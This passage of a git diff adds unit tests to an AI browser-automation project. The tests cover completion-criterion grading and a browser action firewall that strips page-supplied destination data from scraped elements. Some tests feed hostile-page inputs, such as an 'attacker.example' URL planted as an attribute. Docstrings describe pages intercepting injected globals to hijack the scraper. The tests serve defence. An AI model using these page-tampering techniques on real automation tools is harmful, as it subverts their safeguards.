"c_star_count",+ "The run returns 22600 stars.",+ output_path="output.star_count",+ expected_output_value="22600",+ )+ ]++ verdicts = grade_requested_output_criteria(+ ctx,+ criteria,+ RunEvidenceSnapshot(+ block_outputs={"extract_profile": {"star_count": "17"}},+ block_output_sources={"extract_profile": "runtime_output"},+ ),+ )++ assert verdicts[0].state == "unsatisfied"+ assert verdicts[0].reason_code == "evidence_contradicts"+++def _graded_minted_star_count_verdict() -> CriterionVerdict:+ ctx = _run_ctx()+ ctx.code_artifact_metadata = _metadata_for_requested_paths("star_count")+ criteria = [+ _criterion(+ "c_star_count",+ "The run returns the number of stars.",+ output_path="output.star_count",+ expected_output_shape="value_present",+ )+ ]+ return grade_requested_output_criteria(+ ctx,+ criteria,+ RunEvidenceSnapshot(+ block_outputs={"extract_profile": {"star_count": 22600}},+ block_output_sources={"extract_profile": "runtime_output"},+ ),+ )[0]+++def test_minted_value_present_single_criterion_reaches_verified_success() -> None:+ verdict = _graded_minted_star_count_verdict()+ result = CompletionVerificationResult(+ status="evaluated",+ criterion_ids=["c_star_count"],+ verdicts=[verdict],+ )++ assert verdict.state == "satisfied"+ assert result.is_fully_satisfied() is True+++def test_minted_value_present_criterion_corroborated_reaches_verified_success() -> None:+ verdict = _graded_minted_star_count_verdict()+ result = CompletionVerificationResult(+ status="evaluated",+ criterion_ids=["c_reach", "c_star_count"],+ verdicts=[+ CriterionVerdict(+ criterion_id="c_reach",+ state="satisfied",+ reason_code="evidence_confirms",+ evidence_ref="observed_end_state_url",+ ),+ verdict,+ ],+ )++ assert result.is_fully_satisfied() is Truediff --git a/tests/unit/test_copilot_output_contract_actuation.py b/tests/unit/test_copilot_output_contract_actuation.pyindex 3c65196c0..1b7fdf6f9 100644--- a/tests/unit/test_copilot_output_contract_actuation.py+++ b/tests/unit/test_copilot_output_contract_actuation.py@@ -2192,8 +2192,8 @@ def test_canonically_bound_shapeless_valid_criterion_stays_dispatchable() -> Non)assert bound.request_slot_id == slot.slot_id- assert bound.output_path is None- assert bound.floor_rekeyed_from_path == "output.visible_action_label"+ assert bound.output_path == "output.visible_action_label"+ assert bound.expected_output_shape == "value_present"assert bound.mint_disposition != "degraded"assert bound.mint_degrade is Nonediff --git a/tests/unit/test_copilot_positive_evidence_carriers.py b/tests/unit/test_copilot_positive_evidence_carriers.pyindex 46be5f78c..5126d37b5 100644--- a/tests/unit/test_copilot_positive_evidence_carriers.py+++ b/tests/unit/test_copilot_positive_evidence_carriers.py@@ -800,3 +800,134 @@ async def test_dispatched_packet_carries_static_disabled_submit_control(monkeypachallenge_state = packet["challenge_state"]assert challenge_state["gates_submit_controls"] is Falseassert challenge_state["gated_submit_controls"] == []+++def _star_ctx() -> _GroundingCtx:+ # Authored output contract declares the extraction's output path, so the block label is accepted.+ ctx = _GroundingCtx()+ ctx.code_artifact_metadata = {+ "extract_star_count": {"claimed_outcomes": [{"goal_value_paths": ["output.star_count"]}]}+ }+ return ctx+++def _value_present_criterion() -> object:+ return make_completion_criterion(+ "c_star",+ "the number of stars for https://example.com/example-org/example-repo is retrieved",+ output_path="output.star_count",+ expected_output_shape="value_present",+ )+++# block_outputs shape is copied from a real live code-only run (wr_555210248334407824): the+# extraction block nests its value under an ``output`` key beside ``evidence_text``.+def _star_snapshot(value: object = 22600) -> RunEvidenceSnapshot:+ return RunEvidenceSnapshot(+ block_outputs={"extract_star_count": {"evidence_text": "22.6k stars", "output": {"star_count": value}}},+ block_output_sources={"extract_star_count": "runtime_output"},+ )+++def test_value_present_requested_output_credited_by_presence() -> None:+ verdicts = grade_requested_output_criteria(_star_ctx(), [_value_present_criterion()], _star_snapshot())+ assert len(verdicts) == 1+ verdict = verdicts[0]+ assert verdict.state == "satisfied"+ assert verdict.reason_code == "requested_output_present"+++def test_value_present_requested_output_reaches_full_satisfaction() -> None:+ verdict = grade_requested_output_criteria(_star_ctx(), [_value_present_criterion()], _star_snapshot())[0]+ result = CompletionVerificationResult(status="evaluated", criterion_ids=["c_star"], verdicts=[verdict])+ assert result.is_fully_satisfied() is True+++def test_value_present_requested_output_abstains_when_value_missing() -> None:+ snapshot = RunEvidenceSnapshot(+ block_outputs={"extract_star_count": {"evidence_text": "no count found", "output": {}}},+ block_output_sources={"extract_star_count": "runtime_output"},+ )+ verdict = grade_requested_output_criteria(_star_ctx(), [_value_present_criterion()], snapshot)[0]+ assert verdict.state != "satisfied"+++def test_typed_shape_without_expected_value_still_abstains() -> None:+ # A shape that is NOT value_present (e.g. numeric_identifier) must keep abstaining on a present+ # value with no exact expected_output_value to prove -- the fix is scoped to value_present only.+ criterion = make_completion_criterion(+ "c_star",+ "the star count is retrieved",+ output_path="output.star_count",+ expected_output_shape="numeric_identifier",+ )+ verdict = grade_requested_output_criteria(_star_ctx(), [criterion], _star_snapshot())[0]+ assert verdict.state != "satisfied"++[email protected]("sentinel", ["N/A", "unknown", "Not Found", " none ", "-", "TBD"])+def test_value_present_not_found_sentinel_abstains(sentinel: str) -> None:+ # A failed extraction that returns a not-found sentinel instead of an empty value must not+ # verify: presence of "N/A"/"unknown" abstains rather than crediting delivery.+ snapshot = RunEvidenceSnapshot(+ block_outputs={"extract_star_count": {"evidence_text": "no count", "output": {"star_count": sentinel}}},+ block_output_sources={"extract_star_count": "runtime_output"},+ )+ verdict = grade_requested_output_criteria(_star_ctx(), [_value_present_criterion()], snapshot)[0]+ assert verdict.state != "satisfied"+++def test_value_present_abstains_when_emitting_block_failed() -> None:+ # Positive success signal: a value emitted by a block that failed is not a verified delivery.+ snapshot = RunEvidenceSnapshot(+ block_outputs={"extract_star_count": {"evidence_text": "22.6k stars", "output": {"star_count": 22600}}},+ block_output_sources={"extract_star_count": "runtime_output"},+ failed_block_labels=["extract_star_count"],+ )+ verdict = grade_requested_output_criteria(_star_ctx(), [_value_present_criterion()], snapshot)[0]+ assert verdict.state != "satisfied"+++def test_value_present_abstains_on_structured_error_payload() -> None:+ snapshot = RunEvidenceSnapshot(+ block_outputs={"extract_star_count": {"output": {"star_count": {"error": "extraction failed"}}}},+ block_output_sources={"extract_star_count": "runtime_output"},+ )+ verdict = grade_requested_output_criteria(_star_ctx(), [_value_present_criterion()], snapshot)[0]+ assert verdict.state != "satisfied"+++def test_value_present_credit_uses_presence_grounding_mode() -> None:+ verdict = grade_requested_output_criteria(_star_ctx(), [_value_present_criterion()], _star_snapshot())[0]+ assert verdict.state == "satisfied"+ assert verdict.grounding_mode == "presence"+++def test_value_present_requiring_independent_evidence_abstains_on_self_emitted() -> None:+ # A value_present criterion that requests independent evidence is not certified by a self-emitted+ # (runtime_output) block value; the independence bar is preserved.+ criterion = make_completion_criterion(+ "c_star",+ "the number of stars for https://example.com/example-org/example-repo is retrieved",+ output_path="output.star_count",+ expected_output_shape="value_present",+ requested_output_evidence_source="independent_run_evidence",+ )+ verdict = grade_requested_output_criteria(_star_ctx(), [criterion], _star_snapshot())[0]+ assert verdict.state != "satisfied"+++def test_value_present_abstains_when_registered_output_producer_block_failed() -> None:+ # The value resolves via the <label>_output registered-output key, but its producer block failed;+ # the failed-block guard resolves the bare producer label so this still abstains.+ ctx = _GroundingCtx()+ ctx.code_artifact_metadata = {+ "extract_star_count_output": {"claimed_outcomes": [{"goal_value_paths": ["output.star_count"]}]}+ }+ snapshot = RunEvidenceSnapshot(+ block_outputs={"extract_star_count_output": {"output": {"star_count": 22600}}},+ block_output_sources={"extract_star_count_output": "registered_output_parameter"},+ failed_block_labels=["extract_star_count"],+ )+ verdict = grade_requested_output_criteria(ctx, [_value_present_criterion()], snapshot)[0]+ assert verdict.state != "satisfied"diff --git a/tests/unit/test_copilot_request_policy_pinability_consumer.py b/tests/unit/test_copilot_request_policy_pinability_consumer.pyindex 77e79a165..9f0765953 100644--- a/tests/unit/test_copilot_request_policy_pinability_consumer.py+++ b/tests/unit/test_copilot_request_policy_pinability_consumer.py@@ -32,7 +32,9 @@ from skyvern.forge.sdk.copilot.request_policy import (_classification_from_raw,_classify_request,_interrogative_slot_classification_output_key,+ _minted_path_has_typed_child,_omitted_request_slot_datum_binding_targets,+ _parse_completion_criterion_entries,_parse_fresh_request_slot_criteria,schema_output_path_aliases_from_criteria,)@@ -3058,7 +3060,9 @@ async def test_unanchored_requested_output_uses_producer_consensus_and_mints_dec]criterion = policy.completion_criteria[0]assert policy.request_slot_failure_kind is None- assert criterion.floor_rekeyed_from_path == "output.confirmation_code"+ assert criterion.output_path == "output.confirmation_code"+ assert criterion.expected_output_shape == "value_present"+ assert criterion.requested_output_floor_rekeyed is Falseassert criterion.mint_disposition == "decidable"assert criterion.mint_degrade is None@@ -3246,7 +3250,8 @@ async def test_producer_consensus_replaces_invalid_primary_source_identity() ->]criterion = policy.completion_criteria[0]assert policy.request_slot_failure_kind is None- assert criterion.floor_rekeyed_from_path == "output.confirmation_code"+ assert criterion.output_path == "output.confirmation_code"+ assert criterion.expected_output_shape == "value_present"assert criterion.request_slot_id is not Noneassert criterion.mint_disposition == "decidable"@@ -3313,3 +3318,250 @@ async def test_fresh_non_output_request_accepts_agreed_empty_request_slot_contraassert policy.completion_criteria[0].outcome == "The application is submitted."assert policy.completion_criteria[0].mint_degrade is Noneassert calls == ["workflow-copilot-request-policy", REQUEST_SLOT_PROMPT_NAME, REQUEST_SLOT_PROMPT_NAME]+++def _single_value_extraction_slot(+ source_quote: str,+ *,+ pinability: RequestSlotPinability = RequestSlotPinability.SHAPELESS_VALID,+ antecedent_family: RequestSlotAntecedentFamily = RequestSlotAntecedentFamily.UNCONDITIONAL,+) -> CanonicalRequestSlotV1:+ request = RequestSlotProducerInputV1(+ version="1",+ latest_request=f"Go to example.test and get {source_quote}.",+ workflow_context="",+ earliest_user_turn="",+ latest_prior_user_turn="",+ latest_assistant_turn="",+ retained_history=(),+ global_context="",+ )+ contract = canonicalize_request_slots(+ request=request,+ envelope=RequestSlotEnvelopeV1(+ version="1",+ slots=(+ RequestSlotDeclarationV1(+ source_id="u0",+ source_quote=source_quote,+ plane=RequestSlotPlane.RUN,+ pinability=pinability,+ antecedent_family=antecedent_family,+ ),+ ),+ ),+ )+ return contract.slots[0]+++def test_plain_single_value_extraction_mints_requested_output_criterion() -> None:+ source_quote = "the number of stars"+ slot = _single_value_extraction_slot(source_quote)+ criterion = _bind_criterion_to_request_slot(+ CompletionCriterion(+ id="c0",+ outcome="The run returns the number of stars.",+ classification_output_key="star_count",+ ),+ slot=slot,+ source_quote=source_quote,+ )++ assert criterion.pinability == "shapeless_valid"+ assert criterion.output_path == "output.star_count"+ assert criterion.expected_output_shape == "value_present"+ assert criterion.expected_output_value is None+ assert criterion.mint_disposition == "decidable"+ assert criterion.mint_degrade is None+ assert criterion.kind == "outcome"+ assert criterion.classification_output_key is None+ assert criterion.requested_output_floor_rekeyed is False+ assert criterion.floor_rekeyed_from_path is None++ trace = RequestPolicy(completion_criteria=[criterion]).to_trace_data()+ assert trace["requested_output_criteria_count"] == 1+ assert trace["requested_output_criterion_0_output_path"] == "output.star_count"+ assert trace["requested_output_criterion_0_pinability"] == "shapeless_valid"+ assert trace["requested_output_criterion_0_expected_output_shape"] == "value_present"++ (round_tripped,) = criteria_from_json(criteria_to_json([criterion]))+ assert round_tripped.output_path == "output.star_count"+ assert round_tripped.expected_output_shape == "value_present"+ assert round_tripped.pinability == "shapeless_valid"+ assert round_tripped.mint_disposition == "decidable"+++def test_extraction_output_path_without_classification_key_mints_requested_output_criterion() -> None:+ source_quote = "the number of stars"+ slot = _single_value_extraction_slot(source_quote)+ criterion = _bind_criterion_to_request_slot(+ CompletionCriterion(+ id="c0",+ outcome="The run returns the number of stars.",+ output_path="output.star_count",+ ),+ slot=slot,+ source_quote=source_quote,+ )++ assert criterion.pinability == "shapeless_valid"+ assert criterion.output_path == "output.star_count"+ assert criterion.expected_output_shape == "value_present"+ assert criterion.mint_disposition == "decidable"+ assert criterion.mint_degrade is None+ assert criterion.requested_output_floor_rekeyed is False+ assert criterion.floor_rekeyed_from_path is None++ trace = RequestPolicy(completion_criteria=[criterion]).to_trace_data()+ assert trace["requested_output_criteria_count"] == 1+ assert trace["requested_output_criterion_0_output_path"] == "output.star_count"+ assert trace["requested_output_criterion_0_expected_output_shape"] == "value_present"+++def test_unpinnable_ask_with_output_path_still_degrades_without_minting() -> None:+ source_quote = "everything relevant"+ slot = _single_value_extraction_slot(+ source_quote,+ pinability=RequestSlotPinability.UNPINNABLE,+ antecedent_family=RequestSlotAntecedentFamily.UNDECIDABLE,+ )+ criterion = _bind_criterion_to_request_slot(+ CompletionCriterion(+ id="c0",+ outcome="The run summarizes everything relevant.",+ output_path="output.summary",+ ),+ slot=slot,+ source_quote=source_quote,+ )++ assert criterion.pinability == "unpinnable"+ assert criterion.output_path is None+ assert criterion.expected_output_shape != "value_present"+ assert criterion.mint_disposition == "degraded"+ assert criterion.mint_degrade == "undecidable_judgment"+++def test_blocker_antecedent_single_value_extraction_mints_requested_output_criterion() -> None:+ source_quote = "the confirmation code"+ slot = _single_value_extraction_slot(+ source_quote,+ antecedent_family=RequestSlotAntecedentFamily.BLOCKER,+ )+ criterion = _bind_criterion_to_request_slot(+ CompletionCriterion(+ id="c0",+ outcome="The run returns the confirmation code.",+ classification_output_key="confirmation_code",+ ),+ slot=slot,+ source_quote=source_quote,+ )++ assert criterion.pinability == "shapeless_valid"+ assert criterion.output_path == "output.confirmation_code"+ assert criterion.expected_output_shape == "value_present"+ assert criterion.mint_disposition == "decidable"+++def test_open_ended_unpinnable_request_is_not_minted_and_degrades_honestly() -> None:+ source_quote = "everything relevant"+ slot = _single_value_extraction_slot(+ source_quote,+ pinability=RequestSlotPinability.UNPINNABLE,+ antecedent_family=RequestSlotAntecedentFamily.UNDECIDABLE,+ )+ criterion = _bind_criterion_to_request_slot(+ CompletionCriterion(+ id="c0",+ outcome="The run summarizes everything relevant.",+ classification_output_key="summary",+ ),+ slot=slot,+ source_quote=source_quote,+ )++ assert criterion.pinability == "unpinnable"+ assert criterion.output_path is None+ assert criterion.expected_output_shape is None+ assert criterion.mint_disposition == "degraded"+ assert criterion.mint_degrade == "undecidable_judgment"+++def test_undecidable_antecedent_single_value_is_not_minted_and_degrades() -> None:+ source_quote = "the result"+ slot = _single_value_extraction_slot(+ source_quote,+ antecedent_family=RequestSlotAntecedentFamily.UNDECIDABLE,+ )+ criterion = _bind_criterion_to_request_slot(+ CompletionCriterion(+ id="c0",+ outcome="The run returns the result.",+ classification_output_key="result",+ ),+ slot=slot,+ source_quote=source_quote,+ )++ assert criterion.output_path is None+ assert criterion.expected_output_shape is None+ assert criterion.mint_disposition == "degraded"+++def test_pinned_without_exact_requirement_is_not_minted_and_degrades() -> None:+ source_quote = "the number of stars"+ slot = _single_value_extraction_slot(+ source_quote,+ pinability=RequestSlotPinability.PINNED,+ )+ criterion = _bind_criterion_to_request_slot(+ CompletionCriterion(+ id="c0",+ outcome="The run returns the number of stars.",+ classification_output_key="star_count",+ ),+ slot=slot,+ source_quote=source_quote,+ )++ assert criterion.output_path is None+ assert criterion.expected_output_shape != "value_present"+ assert criterion.mint_disposition == "degraded"+++def test_classifier_supplied_value_present_shape_is_stripped_at_parse() -> None:+ # value_present is minted by the policy only; a classifier-supplied one would otherwise be+ # credited by presence and bypass the exact-value bar, so it is dropped at parse.+ ((_item, criterion),) = _parse_completion_criterion_entries(+ [{"outcome": "The run returns the NPI.", "output_path": "output.npi", "expected_output_shape": "value_present"}]+ )+ assert criterion.expected_output_shape is None+ # A legitimate typed classifier shape is preserved.+ ((_item2, typed),) = _parse_completion_criterion_entries(+ [+ {+ "outcome": "The run returns the NPI.",+ "output_path": "output.npi",+ "expected_output_shape": "numeric_identifier",+ }+ ]+ )+ assert typed.expected_output_shape == "numeric_identifier"+++def test_typed_child_suppression_canonicalizes_output_prefix() -> None:+ # A collection parent is suppressed even when a child path is written without the output. prefix.+ assert _minted_path_has_typed_child("output.locations", frozenset({"locations[].address"}))+ assert _minted_path_has_typed_child("output.locations", frozenset({"output.locations[].status"}))+ # A leaf scalar with no nested sibling still mints.+ assert not _minted_path_has_typed_child("output.star_count", frozenset({"output.forks"}))+++def test_requested_output_mint_state_treats_value_present_as_decidable() -> None:+ from skyvern.forge.sdk.copilot.request_policy import _requested_output_mint_state++ assert _requested_output_mint_state(None, "value_present", None) == ("decidable", None)+ # A shapeless criterion with no typed shape still degrades.+ assert _requested_output_mint_state(None, None, None) == ("decidable", None)+ assert _requested_output_mint_state(None, "status_label", None) == ("degraded", "undecidable_judgment")diff --git a/tests/unit/test_destination_facts_capture.py b/tests/unit/test_destination_facts_capture.pynew file mode 100644index 000000000..bd484a8ef--- /dev/null+++ b/tests/unit/test_destination_facts_capture.py@@ -0,0 +1,323 @@+"""Scrape-time destination-fact capture for the browser action firewall (SKY-12875).++The facts are born in domUtils.buildElementObject and MUST be stripped out of the element dicts at+the JS->Python boundary, before any downstream consumer sees them: element hashes (cached-action+matching), skyvern_element_data (DB rows and the public SDK Action type), the element-tree+artifact, prompt building, and incremental dropdown dedup all depend on the dicts being+byte-identical to a build that never captured facts. The strip is unconditional in both policy+modes, so observe and disabled cannot diverge on this path by construction.+"""++from __future__ import annotations++import ast+import copy+import shutil+import subprocess+from pathlib import Path+from unittest.mock import AsyncMock, MagicMock++import pytest++from skyvern.webeye.scraper.scraper import build_element_dict, hash_element+from skyvern.webeye.utils.page import SkyvernFrame, load_js_script, pop_destination_facts++_REPO_ROOT = Path(__file__).parent.parent.parent+_PAGE_MODULE = _REPO_ROOT / "skyvern" / "webeye" / "utils" / "page.py"+_NODE = shutil.which("node")++ANCHOR_FACTS = {"kind": "anchor", "url": "https://example.com/next"}+FORM_FACTS = {"kind": "form", "url": "https://example.com/submit", "method": "post"}+++def element(element_id: str, *, destination: dict | None = None, children: list | None = None) -> dict:+ node: dict = {+ "id": element_id,+ "frame": "main.frame",+ "tagName": "a",+ "attributes": {"href": "/next"},+ "children": children or [],+ }+ if destination is not None:+ node["destination"] = destination+ return node+++class TestPopDestinationFacts:+ def test_popping_leaves_the_dict_byte_identical_to_a_factless_build(self) -> None:+ with_facts = element("e1", destination=ANCHOR_FACTS)+ never_had_facts = element("e1")+ facts = pop_destination_facts([with_facts])+ assert with_facts == never_had_facts+ assert hash_element(with_facts) == hash_element(never_had_facts)+ assert facts == {"e1": ANCHOR_FACTS}++ def test_nested_children_are_stripped_and_collected(self) -> None:+ child = element("e2", destination=FORM_FACTS)+ parent = element("e1", destination=ANCHOR_FACTS, children=[child])+ facts = pop_destination_facts([parent])+ assert facts == {"e1": ANCHOR_FACTS, "e2": FORM_FACTS}+ assert "destination" not in parent+ assert "destination" not in child++ def test_a_page_authored_destination_attribute_survives(self) -> None:+ # Gate finding M1: <div destination="shipping"> is ordinary markup, every attribute is+ # collected verbatim, and a key-name-only strip DELETED it — changing hashes, cached+ # matching, prompts and persisted rows on pages with no facts involved at all. DOM+ # attribute values are always strings, so the mapping shape is what identifies ours.+ node = element("e1")+ node["attributes"]["destination"] = "shipping"+ node["attributes"]["data-destination"] = "warehouse"+ untouched = copy.deepcopy(node)++ facts = pop_destination_facts([node])++ assert facts == {}+ assert node == untouched++ def test_a_string_destination_never_seeds_the_sidecar(self) -> None:+ # The same overmatch let a page seed the sidecar with an id of its choosing while capture+ # was DISABLED, just by authoring the attribute on an element carrying an id.+ node = element("e1")+ node["attributes"]["destination"] = "https://attacker.example/x"+ assert pop_destination_facts([node]) == {}++ def test_wrapper_relocated_keys_are_stripped_at_any_depth(self) -> None:+ # Gate finding F4: a hostile wrapper around the writable page-global builder can copy a+ # fact into a NESTED position — an attribute value, a grandchild inside a non-children+ # container — where a children-only walk would miss it and it would flow into hashes,+ # prompts and persisted skyvern_element_data.+ node = element("e1")+ node["attributes"]["nested"] = {"destination": ANCHOR_FACTS}+ node["options"] = [{"optionIndex": 0, "destination": FORM_FACTS}]+ grandchild = {"tagName": "i", "destination": ANCHOR_FACTS}+ node["children"].append({"tagName": "span", "wrapped": [grandchild]})+ pop_destination_facts([node])++ def leaked(payload: object) -> bool:+ stack = [payload]+ while stack:+ current = stack.pop()+ if isinstance(current, dict):+ if "destination" in current:+ return True+ stack.extend(current.values())+ elif isinstance(current, list):+ stack.extend(current)+ return False++ assert not leaked(node)++ def test_a_factless_element_contributes_nothing(self) -> None:+ node = element("e1")+ assert pop_destination_facts([node]) == {}++ def test_a_cyclic_payload_terminates(self) -> None:+ # Playwright's value protocol reconstructs shared refs, so a tampered page can hand back a+ # cyclic tree. The strip must terminate on it rather than hang the worker.+ node = element("e1", destination=ANCHOR_FACTS)+ node["children"].append(node)+ facts = pop_destination_facts([node])+ assert facts == {"e1": ANCHOR_FACTS}++ def test_hostile_shapes_do_not_raise(self) -> None:+ # The payload is page-controlled through the JS it runs; the strip must survive anything.+ nodes = [+ {"destination": ANCHOR_FACTS}, # no id at all+ {"id": 7, "destination": ANCHOR_FACTS}, # non-string id+ {"id": "", "destination": ANCHOR_FACTS}, # empty id+ {"id": "ok", "destination": ANCHOR_FACTS, "children": "not-a-list"},+ "not-a-dict",+ None,+ ]+ facts = pop_destination_facts(nodes) # type: ignore[arg-type]+ assert facts == {"ok": ANCHOR_FACTS}+ assert all("destination" not in node for node in nodes if isinstance(node, dict))++ def test_build_element_dict_receives_clean_dicts_only(self) -> None:+ # The maps that feed skyvern_element_data and cached-action hashes are built downstream of+ # the strip; this pins that a stripped element hashes identically wherever it lands next.+ stripped = element("e1", destination=ANCHOR_FACTS)+ pop_destination_facts([stripped])+ _, id_to_element, _, id_to_hash, _ = build_element_dict([stripped])+ assert "destination" not in id_to_element["e1"]+ assert id_to_hash["e1"] == hash_element(element("e1"))+++def _frame_with_fake_evaluate(payload: object) -> SkyvernFrame:+ frame = SkyvernFrame(MagicMock())+ frame._set_enriched_element_tree_flag = AsyncMock() # type: ignore[method-assign]++ async def fake_evaluate(**_kwargs: object) -> object:+ return copy.deepcopy(payload)++ frame.evaluate = fake_evaluate # type: ignore[method-assign]+ return frame+++class TestEntryPointsStrip:+ """Every SkyvernFrame method that returns domUtils element objects strips the facts. The+ accepted-scrape entry point returns them as a sidecar; the rest discard them."""++ @pytest.mark.asyncio+ async def test_build_tree_from_body_strips_and_returns_the_sidecar(self) -> None:+ payload = [[element("e1", destination=ANCHOR_FACTS)], [element("e1", destination=ANCHOR_FACTS)]]+ frame = _frame_with_fake_evaluate(payload)+ elements, element_tree, destinations = await frame.build_tree_from_body(frame_name="main.frame", frame_index=0)+ assert destinations == {"e1": ANCHOR_FACTS}+ assert all("destination" not in node for node in elements)+ assert all("destination" not in node for node in element_tree)++ @pytest.mark.asyncio+ async def test_incremental_tree_is_stripped(self) -> None:+ payload = [[element("e1", destination=FORM_FACTS)], [element("e1", destination=FORM_FACTS)]]+ frame = _frame_with_fake_evaluate(payload)+ elements, element_tree = await frame.get_incremental_element_tree()+ assert all("destination" not in node for node in elements)+ assert all("destination" not in node for node in element_tree)++ @pytest.mark.asyncio+ async def test_tree_from_element_is_stripped(self) -> None:+ payload = [[element("e1", destination=ANCHOR_FACTS)], [element("e1", destination=ANCHOR_FACTS)]]+ frame = _frame_with_fake_evaluate(payload)+ elements, element_tree = await frame.build_tree_from_element(starter=MagicMock(), frame="main.frame")+ assert all("destination" not in node for node in elements)+ assert all("destination" not in node for node in element_tree)++ @pytest.mark.asyncio+ async def test_parse_element_from_html_is_stripped(self) -> None:+ frame = _frame_with_fake_evaluate(element("e1", destination=ANCHOR_FACTS))+ parsed = await frame.parse_element_from_html("main.frame", MagicMock(), True)+ assert "destination" not in parsed++ def test_the_element_producing_surface_is_exactly_the_four_stripped_methods(self) -> None:+ """The complete JS->Python surface for element objects, pinned BY QUALIFIED IDENTITY: the+ methods on the SkyvernFrame class, not any def sharing a name elsewhere. A new entry point+ fails here until its author strips the facts at the boundary and adds it to this set.++ Known non-producer with a colliding name: IncrementalScrapePage.get_incremental_element_tree+ (skyvern/webeye/scraper/scraper.py) is a WRAPPER over the SkyvernFrame method of the same+ name — it consumes the already-stripped result and evaluates no domUtils builder itself, so+ it is correctly not a boundary and correctly not in this set.+ """+ tree = ast.parse(_PAGE_MODULE.read_text())+ skyvern_frame = next(+ node for node in tree.body if isinstance(node, ast.ClassDef) and node.name == "SkyvernFrame"+ )+ producers: dict[str, str] = {}+ for node in skyvern_frame.body:+ if isinstance(node, (ast.AsyncFunctionDef, ast.FunctionDef)):+ rendered = ast.unparse(node)+ if any(+ f"{producer}(" in rendered+ for producer in (+ "buildTreeFromBody",+ "getIncrementElements",+ "buildElementTree",+ "buildElementObject",+ )+ ):+ producers[node.name] = rendered+ assert set(producers) == {+ "build_tree_from_body",+ "get_incremental_element_tree",+ "build_tree_from_element",+ "parse_element_from_html",+ }, "the element-producing JS surface changed — strip the new entry point and update this set"+ for name, rendered in producers.items():+ assert "pop_destination_facts" in rendered, f"{name} returns element dicts without stripping facts"+ # The scan itself must keep matching: an evaluate refactor that hides the JS names from this+ # test would silently retire the pin rather than fail it.+ assert len(producers) == 4+++class TestCaptureIsFlagGated:+ """The disabled-mode no-op invariant (rework of gate finding F1): with the policy disabled,+ the build asks JS for ZERO destination-fact work — no attribute reads, no URL resolution, no+ allocation. Capture cost is mode-gated while the strip stays unconditional (protection against+ wrapper injection, not capture cost): two different questions, two different mechanisms."""++ @staticmethod+ async def _flag_passed_to_js(mode: str, monkeypatch: pytest.MonkeyPatch) -> object:+ from skyvern.config import settings++ monkeypatch.setattr(settings, "BROWSER_ACTION_POLICY_MODE", mode)+ captured: dict = {}+ frame = SkyvernFrame(MagicMock())+ frame._set_enriched_element_tree_flag = AsyncMock() # type: ignore[method-assign]++ async def fake_evaluate(**kwargs: object) -> object:+ captured.update(kwargs)+ return [[], []]++ frame.evaluate = fake_evaluate # type: ignore[method-assign]+ await frame.build_tree_from_body(frame_name="main.frame", frame_index=0)+ arg = captured["arg"]+ assert isinstance(arg, list) and len(arg) == 4, "the capture flag no longer reaches JS"+ return arg[3]++ @pytest.mark.asyncio+ async def test_disabled_mode_asks_js_for_no_capture(self, monkeypatch: pytest.MonkeyPatch) -> None:+ assert await self._flag_passed_to_js("disabled", monkeypatch) is False++ @pytest.mark.asyncio+ async def test_observe_mode_asks_js_to_capture(self, monkeypatch: pytest.MonkeyPatch) -> None:+ # The twin: without it, a pass-through hardcoded to False satisfies the test above while+ # silently disabling the feature.+ assert await self._flag_passed_to_js("observe", monkeypatch) is True+++class TestScrapeAssemblyCarriesTheSidecar:+ @pytest.mark.asyncio+ async def test_frame_facts_are_merged_across_frames(self, monkeypatch: pytest.MonkeyPatch) -> None:+ from skyvern.forge.sdk.core import skyvern_context+ from skyvern.forge.sdk.core.skyvern_context import SkyvernContext+ from skyvern.webeye.scraper import scraper as scraper_module++ main_frame = _frame_with_fake_evaluate(+ [[element("e1", destination=ANCHOR_FACTS)], [element("e1", destination=ANCHOR_FACTS)]]+ )++ async def fake_create_instance(_frame: object) -> SkyvernFrame:+ return main_frame++ monkeypatch.setattr(SkyvernFrame, "create_instance", fake_create_instance)+ monkeypatch.setattr(scraper_module, "get_all_children_frames", AsyncMock(return_value=[]))+ skyvern_context.set(SkyvernContext(request_id="req_12875"))+ try:+ elements, _tree, destinations = await scraper_module.get_interactable_element_tree(MagicMock())+ finally:+ skyvern_context.reset()+ assert destinations == {"e1": ANCHOR_FACTS}+ assert all("destination" not in node for node in elements)++[email protected](reason="SKY-12875 mitigation: buildDestinationFacts short-circuits; un-skip with PR #13991")[email protected](_NODE is None, reason="node not on PATH")+class TestDestinationFactsJs:+ def test_behavioral(self) -> None:+ script = Path(__file__).parent / "test_domutils_destination_facts.js"+ assert script.exists(), f"Missing {script}"+ result = subprocess.run(+ [_NODE, str(script)],+ capture_output=True,+ text=True,+ timeout=30,+ )+ assert result.returncode == 0, f"Failed:\n{result.stdout}\n{result.stderr}"+++class TestInjectionExportsCannotBeIntercepted:+ """Gate finding M2: the wrapper exported entry points with `globalThis.x = x`, so a page that+ installed a SETTER on one of those globals before injection was handed our genuine builder+ synchronously and could then drive it with arguments we never passed — forcing destination+ capture on with the policy disabled.++ The behavior lives in tests/unit/test_domutils_injection_scope.js (run by+ test_dom_scrape_crash_guards.py), which drives the real generated script in a vm against all+ three descriptor shapes. This pins only that no bare-assignment export can come back."""++ def test_no_export_is_a_bare_assignment(self) -> None:+ script = load_js_script()+ assert "__skyvernExport(" in script+ assert "globalThis.buildTreeFromBody = buildTreeFromBody" not in scriptdiff --git a/tests/unit/test_dialog_handler_records_to_context.py b/tests/unit/test_dialog_handler_records_to_context.pyindex 699cf483c..11703e0de 100644--- a/tests/unit/test_dialog_handler_records_to_context.py+++ b/tests/unit/test_dialog_handler_records_to_context.py@@ -91,3 +91,155 @@ async def test_non_alert_dialogs_are_not_recorded(await dialog_handler._handle_dialog(_make_dialog("beforeunload", "Changes may not be saved."))assert isolated_context.recent_dialog_messages == []+++class TestAcceptancePreflight:+ """SKY-12875: every confirm/prompt ACCEPT routes through one choke point that runs the+ observe-only acceptance preflight with the registration-time page. The decision is discarded —+ the response must be identical whether the policy observes or not."""++ @pytest.fixture+ def preflight_spy(self, monkeypatch: pytest.MonkeyPatch) -> list[dict]:+ calls: list[dict] = []++ def spy(page: object, *, dialog_type: str, response: str, site: str) -> None:+ calls.append({"page": page, "dialog_type": dialog_type, "response": response, "site": site})++ monkeypatch.setattr(dialog_handler, "preflight_dialog_response", spy)+ return calls++ @pytest.mark.asyncio+ async def test_auto_accepted_confirm_is_preflighted_with_the_registered_page(+ self, isolated_context: SkyvernContext, preflight_spy: list[dict]+ ) -> None:+ page = MagicMock()+ dialog = _make_dialog("confirm", "Are you sure?")+ await dialog_handler._handle_dialog(dialog, page=page)+ dialog.accept.assert_awaited_once()+ assert preflight_spy == [+ 